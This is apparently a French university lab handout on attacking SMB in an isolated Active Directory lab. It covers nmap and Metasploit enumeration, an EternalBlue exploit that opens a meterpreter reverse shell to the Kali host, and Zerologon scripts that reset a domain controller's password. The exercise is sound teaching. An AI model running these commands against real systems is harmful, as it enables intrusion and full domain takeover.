Master Cybersécurité Intelligente et Technologies Emergentes CITEch

Cours : Administation et sécurité de l'Active Directory

TP 2 : Attaques sur SMB dans un environnement Active Directory (AD)

Université Mohammed V de Rabat
Faculté des sciences de Rabat

Pr. Ghizlane ORHANOU
Mme Karima EL HACHIMI

2024/2025

Compétences visées

- Découvrir les bases du protocole SMB.
- Apprendre à énumérer les services SMB ouverts sur une cible.
- Apprendre à identifier et exploiter des vulnérabilités SMB.
- Exploiter des failles comme :
  - EternalBlue (MS-17-010)
  - Zerologon (CVE-2020-1472) pour une élévation de privilège via Netlogon (SMB/Netlogon RPC).

Conditions de réalisation

- VMWare Player installé

Critères de réussite

- Réaliser le même environnement du travail décrit dans l'énoncé

Avertissement

- Toutes les compétences acquises dans ce TP doivent être employées uniquement à des fins éducatives, pour la protection des systèmes et la simulation des cyberattaques de manière légale.
- En aucun cas, les compétences acquises ne doivent être utilisées pour accéder illégalement à des systèmes, voler des informations sensibles, perturber des services en ligne, ou tout autre acte illégal.
- Le non-respect de ces directives peut entraîner des conséquences légales sévères, y compris des poursuites judiciaires conformément à la législation marocaine en vigueur.

Consignes

Le compte-rendu du TP doit être rendu une semaine après la séance du TP en format en format électronique dans la classroom.

Introduction

Dans le cadre de ce TP, nous allons explorer et exploiter le protocole SMB (Server Message Block) afin de comprendre comment ces services sont utilisés dans les environnements Windows, en particulier au sein des réseaux Active Directory. Ce protocole est essentiel dans la gestion des ressources et de l'authentification au sein des entreprises, mais ils sont également des cibles privilégiées pour les attaquants cherchant à compromettre un réseau.

Pour ce faire, nous allons besoin :

- Un client Windows 7
- Un serveur windows (Windows server 2012) avec le rôle ADDS(active directory domain server).
- Une machine virtuelle Kali Linux

1 Déroulement du TP

Durant ce TP nous allons travailler avec des machines virtuelles. Chaque étudiant devra avoir au niveau de son ordinateur 3 machines virtuelles :

Machine	Version	Adresse IP	Nom de l'hôte
Controleur de domaine	Windows Server 2012	192.168.1.10	DC-ETUD
Victime	Windows 7	192.168.1.23	PC-ETUD3
Kali	Kali Linux	192.168.1.30	Kali

TABLEAU 1 – Machines virtuelles de l'environnement

Le serveur doit avoir une adresse IP fixe afin d'être toujours accessible, car il sera configuré comme DNS primaire sur les clients.

2 Attaques sur SMB

Le but de ces tests est de détecter les vulnérabilités des services microsoft-ds / SMB.

2.1 Enumération

2.1.1 Découverte de Microsoft-ds / SMB

Scannez la machine PC-ETUD1 pour voir si SMB est accessible :

```
nmap -A 192.168.1.23
```

- Veuillez vérifier si SMB1 est supporté avec le module Metasploit (auxiliaire/scanner/smb/smb_version). Pourquoi l'activation de SMB1 sur un système représente-t-elle un risque de sécurité majeur, et quelle vulnérabilité historique est associée à ce protocole ?
- Quelles améliorations majeures ont été apportées par SMB2 par rapport à SMB1, notamment en termes de performance et de sécurité ?
- Pourquoi la divulgation de version des serveurs est considérée comme un risque ?
- Testez l'ouverture de sessions anonymes avec Smbclient avec la commande suivante :

```
smbclient -L \\192.168.1.23\ -U "" -N
```

2.1.2 Enumération des partages

Pour énumérer les partages ouverts, nous pouvons utiliser les commandes/outils suivants :

- Le script NSE de Nmap (smb-enum-shares) :

```
nmap -p445 --script smb-enum-shares 192.168.1.23
```

- Avec le module metasploit suivant :

```
use auxiliary/scanner/smb/smb_enumshares
```

Avez-vous trouvez un partage accessible en écriture ? Lequel ?

2.1.3 Enumérer la politique de sécurité des mots de passe

Testez l'énumération de la politique des mots de passe et des préférences de politique de groupe SMB (SMB Group Policy Preference) avec le module Metasploit (auxiliary/scanner/smb/smb_enum_gpp).

2.2 Exploitation des vulnérabilités de SMB

2.2.1 Test des vulnérabilités connues

— **Détection et exploitation de MS17-010**

Testez la présence d'EternalBlue (MS17-010) :

```
nmap --script smb-vuln-ms17-010 -p445 192.168.1.23
```

Lancez Metasploit :

```
msfconsole
```

Utilisez le module suivant pour exploiter la vulnérabilité et obtenir un shell :

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.23
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.30
exploit
```

— **Détection et exploitation Zerologon (CVE-2020-1472) (Compromission DC via Netlogon)**

Zerologon permet de réinitialiser le mot de passe d'un contrôleur de domaine via une faille dans Netlogon. Utilisez impacket :

```
git clone https://github.com/SecuraBV/CVE-2020-1472.git
cd CVE-2020-1472
python3 zerologon_tester.py DC-NAME 192.168.1.10
```

Pour réinitialiser le mot de passe du DC (très dangereux) :

```
python3 zeroLogon-NullPass.py DC-ETUD 192.168.1.10
```

Conclusion

Ce TP a permis de mettre en évidence les vulnérabilités et les risques associés aux protocoles SMB dans un environnement Active Directory. Nous avons vu comment des configurations erronées ou des services mal sécurisés peuvent exposer des informations sensibles et permettre à un attaquant de contourner des mécanismes de sécurité, allant de l'énumération des ressources jusqu'à l'extraction complète de l'annuaire via des attaques telles que EternalBlue.